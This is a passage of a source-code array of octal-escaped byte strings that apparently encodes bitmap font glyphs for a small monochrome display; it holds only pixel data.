\"\\377\\377\\17\\0\\0\\0\\37\\377\\377\\377\\376\\200\\0\\0\\360\\377\\377\\77\\7\\0\\0\\17\\377\\377\\377\\374\\340\\0\\0\\360\\377\\377\"\n  \"\\377\\3\\0\\0\\0\\0\\0\\7\\377\\377\\377\\377\\360\\377\\377\\77\\3\\0\\0\\0\\0\\0\\0\\7\\177\\377\\377\\376\\370\\377\\377\\177\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\1\\177\\377\\377\\377\\77\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\177\\377\\377\\377\\37\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0@\\300\\300\\300\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\300\"\n  \"\\300@\\0\\0\\0\\0\\1\\7\\37\\177\\377\\377\\374\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\377\\377\\177\\37\\7\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\17\\77\\377\\377\\376\\370\\340\\200\\340\\360\\374\\377\\377\\77\\17\\3\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\203\\357\\377\\377\\377\\377\\377\\377\\303\\200\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\377\\377\\177\\37\\7\\1\\7\\37\\77\\377\\377\\376\\370\\340\\200\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\340\\360\\374\\377\\377\\177\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\77\\177\\377\\376\\374\\360\"\n  \"\\300\\0\\0\\0\\0\\6\\7\\7\\7\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\7\\7\"\n  \"\\7\\7\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\300\\300\\300\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\"\n  \"\\300\\300@\\0\\0\\3\\17\\77\\377\\377\\376\\370\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\376\\377\\377\\77\"\n  \"\\7\\1\\0\\0\\0\\0\\0\\0\\0\\3\\17\\77\\377\\377\\376\\370\\340\\200\\0\\0\\0\\0\\300\\360\\374\\377\\377\\77\\17\\3\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\77\\377\\377\\376\\370\\374\\377\\377\\177\\37\\3\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\"\n  \"\\300\\300\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\303\\343\\373\\377\\377\\177\\77\"\n  \"\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\374\\377\\377\\77\\17\\7\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\374\\377\\377\\77\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\374\\377\\377\\77\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\340\\370\\374\\377\\377\\377\\237\\207\\203\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\"\n  \"\\200\\300\\300\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\374\\374\\374\\374<<<<<<<<<<<<<<<<\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\0 \\360\\360\\370\\370\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\77\\377\\377\\376\\370\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\37\\177\\377\\377\\374\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\77\\377\\377\\376\\370\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\77\\377\\377\\376\\360\\300\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\37\\177\\377\\377\\374\\360\\300\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\37\\77\\37\\36\"\n  \"\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0<<<<<<<<<<<<<<<<\\374\\374\\374\\374\\374\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\377\\377\\377\\377\\377\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\370\\376\\377\\77\\177\\377\\376\\370\\340\\200\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\374\\377\\77\\37\\7\\1\\0\\0\\0\\1\\7\\17\\77\\377\\376\\370\\340\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\"\n  \"\\340\\340\\340\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\376\\374\\360\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\17\\77\\177\\377\\377\\376\\370\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\37\\77\\177\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0@\\340\\360\\370\\370x||<<<><<<<|\\374\\370\\370\\360\\340\\300\\200\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\201\\207\\377\\377\\377\\377\"\n  \"\\376\\0\\0\\0\\0\\200\\340\\360\\370\\374\\376>\\37\\37\\17\\17\\17\\17\\17\\17\\17\\17\\7\\7\\7\\7\\7\\7\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\37\\177\\377\\377\\377\\370\\340\\300\\300\\200\\200\\200\\200\\200\\200\\300\\300\\300\\340\\360\\370\\374\\177\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\3\\3\\3\\1\\0\\0\\0\\7\\7\\7\\7\"\n  \"\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\370\\370\\370\\370\\370\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\200\\300\\340\\360xx<<<<<||\\374\\374\\370\\370\\360\\340\\300\\200\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\37\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\77\\377\\377\\377\"\n  \"\\376\\360\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\377\\377\\377\\377\\377\\177\\370\\340\\340\\300\\200\\200\\200\\200\\200\\200\\300\\300\\340\\340\\360\\374\\377\\377\\177\\37\"\n  \"\\7\\1\\0\\0\\0\\0\\7\\7\\7\\7\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\3\\1\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360\\360\\370\\374|~>>\\36\\36\\36\\36\\36\\36\\36>>|\\374\\370\\370\"\n  \"\\360\\340@\\0\\0\\0\\340\\374\\377\\377\\377\\177\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\"\n  \"\\1\\0\\0\\0\\0\\0\\77\\377\\377\\377\\377\\360\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\1\\7\\17\\77\\177\\177\\376\\374\\370\\360\\340\\340\\300\\300\\300\\300\\300\\300\\300\\340\\340\\360\\360\\370\\374\"\n  \"x \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\3\\3\\3\\3\\7\\3\\3\\3\\3\\3\\1\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\370\\370\\370\"\n  \"\\370\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360\\360\\370\\370||<<><<<|x\\370\\360\\340\\300\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\340\\374\\377\\377\\377\\177\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\77\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\377\\377\\377\\377\\377\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\7\\37\\177\\377\\377\\376\\370\\360\\340\\300\\300\\200\\200\\200\\200\\200\\300\\300\\340\\360|\\77\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\17\\17\\7\\7\\7\\3\\3\\1\\0\\0\\0\\7\\7\\7\\7\"\n  \"\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374||>>\\36\\36\\36\\36\\36\\36>>|\\374\\370\\370\\360\\340\\200\"\n  \"\\0\\0\\0\\0\\0\\340\\376\\377\\377\\377\\337\\303\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\301\\377\\377\\377\\377\"\n  \"\\376\\200\\0\\0\\0\\177\\377\\377\\377\\377\\343\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\"\n  \"\\3\\0\\0\\0\\0\\0\\3\\17\\37\\77\\177\\377\\374\\370\\360\\340\\340\\340\\300\\300\\300\\300\\300\\300\\300\\340\\340\\360\\360\\370x\\60\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\3\\3\\3\\3\\3\\7\\7\\3\\3\\3\\3\\3\\1\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\360\\370\\370||||||||\\370\\370\"\n  \"\\360\\360\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\377\\377\\377\\377\\37\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\1\\7\\7\\1\\0\\0\\360\\360\\360\\360\\360\\360\\360\\377\\377\\377\\377\\377\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360\\370\\374\\374~>>\\36\\36\\36\\36\\36>>|\\370\\360\\370\\370\\274<\\36\\36\"\n  \"\\36\\36\\36\\30\\0\\0\\177\\377\\377\\377\\377\\343\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\301\\377\\377\\377\\377~\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\1\\203\\307\\357\\377\\77\\77>><<<<<>>\\37\\37\\17\\7\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\17\\77\\277\\377\\374\\370\\370\\370\\370\\370\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\340\\340\\300\"\n  \"\\200\\0\\0\\0\\360\\374\\376\\377\\377\\317\\203\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\201\\303\\377\\377\\377\"\n  \"\\377\\177\\0\\0\\0\\3\\7\\17\\17\\37\\37\\37\\36>>>>><<>>>>>\\37\\37\\37\\17\\17\\7\\3\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\370\\370\\370\\370\\370\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\300\\340\\340\\360xx<<<<<||\\374\\374\\370\\360\\340\\300\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\77\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\"\n  \"\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\370\\370\\370\\360\\340\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0<<<<<<<<\\374\\374\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\200\\200\\377\\377\\377\\377\\377\\200\\200\\200\\200\\200\\200\\200\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\0\\0\"\n  